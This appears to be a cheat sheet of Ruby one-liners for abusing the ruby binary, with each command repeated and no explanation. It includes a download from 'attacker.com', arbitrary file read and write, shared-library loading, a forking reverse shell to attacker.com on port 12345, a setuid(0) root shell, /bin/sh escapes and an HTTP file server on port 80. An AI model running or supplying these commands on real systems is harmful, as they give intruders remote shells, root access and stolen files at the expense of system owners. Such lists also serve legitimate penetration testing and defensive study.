ruby

ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'

ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'

ruby -e 'puts File.read("/path/to/input-file")'

ruby -e 'puts File.read("/path/to/input-file")'

ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'

ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'

ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'

ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

ruby -e 'exec "/bin/sh"'

ruby -e 'exec "/bin/sh"'

ruby -run -e httpd . -p 80

ruby -run -e httpd . -p 80